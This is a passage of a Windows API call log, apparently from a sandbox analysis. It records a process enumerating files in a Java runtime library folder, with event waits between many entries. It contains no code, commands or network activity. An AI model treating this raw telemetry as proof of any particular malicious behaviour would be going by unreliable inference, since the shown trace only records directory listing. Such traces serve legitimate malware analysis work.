(HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3428fe8 [0227.145] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\applet\\*", lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa105ca28, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0227.146] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa105ca28, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0227.146] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa105ca28, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0227.146] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0227.146] GetProcessHeap () returned 0xc10000 [0227.146] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3428fe8 | out: hHeap=0xc10000) returned 1 [0227.146] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x562, dwReserved0=0x0, dwReserved1=0x0, cFileName="calendars.properties", cAlternateFileName="CALEND~1.PRO")) returned 1 [0227.146] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa7bbd53, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xaa7bbd53, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xaa80821a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x2e56fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="charsets.jar", cAlternateFileName="")) returned 1 [0227.146] ResetEvent (hEvent=0x2b8) returned 1 [0227.146] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0227.239] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x14983, dwReserved0=0x0, dwReserved1=0x0, cFileName="classlist", cAlternateFileName="CLASSL~1")) returned 1 [0227.239] ResetEvent (hEvent=0x2b8) returned 1 [0227.239] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0227.269] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa105e2a1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b6bdff, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cmm", cAlternateFileName="")) returned 1 [0227.269] GetProcessHeap () returned 0xc10000 [0227.269] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3428fe8 [0227.269] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\*", lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa105e2a1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b6bdff, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ba8 [0227.269] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa105e2a1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b6bdff, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0227.269] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xc824, dwReserved0=0x0, dwReserved1=0x0, cFileName="CIEXYZ.pf", cAlternateFileName="")) returned 1 [0227.270] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x278, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRAY.pf", cAlternateFileName="")) returned 1 [0227.270] ResetEvent (hEvent=0x2b8) returned 1 [0227.270] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0227.319] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x414, dwReserved0=0x0, dwReserved1=0x0, cFileName="LINEAR_RGB.pf", cAlternateFileName="LINEAR~1.PF")) returned 1 [0227.320] ResetEvent (hEvent=0x2b8) returned 1 [0227.320] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0227.412] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b6bdff, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b6bdff, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b6bdff, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4302a, dwReserved0=0x0, dwReserved1=0x0, cFileName="PYCC.pf", cAlternateFileName="")) returned 1 [0227.412] ResetEvent (hEvent=0x2b8) returned 1 [0227.412] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0227.443] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b6bdff, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b6bdff, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b6bdff, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xc48, dwReserved0=0x0, dwReserved1=0x0, cFileName="sRGB.pf", cAlternateFileName="")) returned 1 [0227.443] ResetEvent (hEvent=0x2b8) returned 1 [0227.443] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0227.549] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b6bdff, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b6bdff, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b6bdff, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xc48, dwReserved0=0x0, dwReserved1=0x0, cFileName="sRGB.pf", cAlternateFileName="")) returned 0 [0227.549] FindClose (in: hFindFile=0x33e4ba8 | out: hFindFile=0x33e4ba8) returned 1 [0227.550] GetProcessHeap () returned 0xc10000 [0227.550] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3428fe8 | out: hHeap=0xc10000) returned 1 [0227.550] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b6bdff, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b6bdff, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b6bdff, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x15ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="content-types.properties", cAlternateFileName="CONTEN~1.PRO")) returned 1 [0227.550] ResetEvent (hEvent=0x2b8) returned 1 [0227.550] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0227.571] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b6bdff, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b6bdff, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b6bdff, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x101a, dwReserved0=0x0, dwReserved1=0x0, cFileName="currency.data", cAlternateFileName="CURREN~1.DAT")) returned 1 [0227.571] ResetEvent (hEvent=0x2b8) returned 1 [0227.571] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0227.812] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b6bdff, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa10e432c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="deploy", cAlternateFileName="")) returned 1 [0227.812] GetProcessHeap () returned 0xc10000 [0227.812] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3428fe8 [0227.812] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\*", lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b6bdff, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa10e432c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4828 [0227.813] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b6bdff, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa10e432c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0227.813] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b6bdff, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b6bdff, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b6bdff, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x374c, dwReserved0=0x0, dwReserved1=0x0, cFileName="ffjcext.zip", cAlternateFileName="")) returned 1 [0227.813] ResetEvent (hEvent=0x2b8) returned 1 [0227.813] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0227.872] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b6bdff, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b6bdff, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b6bdff, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xb2c, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.properties", cAlternateFileName="MESSAG~1.PRO")) returned 1 [0227.872] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b6bdff, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b6bdff, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xcea, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages_de.properties", cAlternateFileName="MESSAG~2.PRO")) returned 1 [0227.873] ResetEvent (hEvent=0x2b8) returned 1 [0227.873] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0227.918] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xe10, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages_es.properties", cAlternateFileName="MESSAG~3.PRO")) returned 1 [0227.919] ResetEvent (hEvent=0x2b8) returned 1 [0227.919] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0228.141] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xd51, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages_fr.properties", cAlternateFileName="MESSAG~4.PRO")) returned 1 [0228.142] ResetEvent (hEvent=0x2b8) returned 1 [0228.142] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0228.188] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xc97, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages_it.properties", cAlternateFileName="MEC9EA~1.PRO")) returned 1 [0228.188] ResetEvent (hEvent=0x2b8) returned 1 [0228.188] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0228.208] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x18cd, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages_ja.properties", cAlternateFileName="ME4AF1~1.PRO")) returned 1 [0228.208] ResetEvent (hEvent=0x2b8) returned 1 [0228.208] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0228.640] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1650, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages_ko.properties", cAlternateFileName="ME1706~1.PRO")) returned 1 [0228.640] ResetEvent (hEvent=0x2b8) returned 1 [0228.640] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0229.382] ResetEvent (hEvent=0x2b8) returned 1 [0229.382] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0229.804] ResetEvent (hEvent=0x2b8) returned 1 [0229.805] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0229.831] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xcd5, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages_pt_BR.properties", cAlternateFileName="MED1E1~1.PRO")) returned 1 [0229.831] ResetEvent (hEvent=0x2b8) returned 1 [0229.832] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0230.091] ResetEvent (hEvent=0x2b8) returned 1 [0230.091] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0230.167] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xd51, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages_sv.properties", cAlternateFileName="ME0541~1.PRO")) returned 1 [0230.167] ResetEvent (hEvent=0x2b8) returned 1 [0230.167] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0230.171] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xfe8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages_zh_CN.properties", cAlternateFileName="ME40CD~1.PRO")) returned 1 [0230.171] ResetEvent (hEvent=0x2b8) returned 1 [0230.171] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0230.194] ResetEvent (hEvent=0x2b8) returned 1 [0230.194] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0230.198] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xea8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages_zh_HK.properties", cAlternateFileName="MEB8B5~1.PRO")) returned 1 [0230.198] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xea8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages_zh_TW.properties", cAlternateFileName="MECC18~1.PRO")) returned 1 [0230.198] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x218e, dwReserved0=0x0, dwReserved1=0x0, cFileName="splash.gif", cAlternateFileName="")) returned 1 [0230.198] ResetEvent (hEvent=0x2b8) returned 1 [0230.199] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0230.353] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3bac, dwReserved0=0x0, dwReserved1=0x0, cFileName="splash@2x.gif", cAlternateFileName="SPLASH~1.GIF")) returned 1 [0230.353] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1e7d, dwReserved0=0x0, dwReserved1=0x0, cFileName="splash_11-lic.gif", cAlternateFileName="SPLASH~2.GIF")) returned 1 [0230.353] ResetEvent (hEvent=0x2b8) returned 1 [0230.353] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0230.355] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x2fda, dwReserved0=0x0, dwReserved1=0x0, cFileName="splash_11@2x-lic.gif", cAlternateFileName="SPLASH~3.GIF")) returned 1 [0230.355] ResetEvent (hEvent=0x2b8) returned 1 [0230.355] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0230.357] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x2fda, dwReserved0=0x0, dwReserved1=0x0, 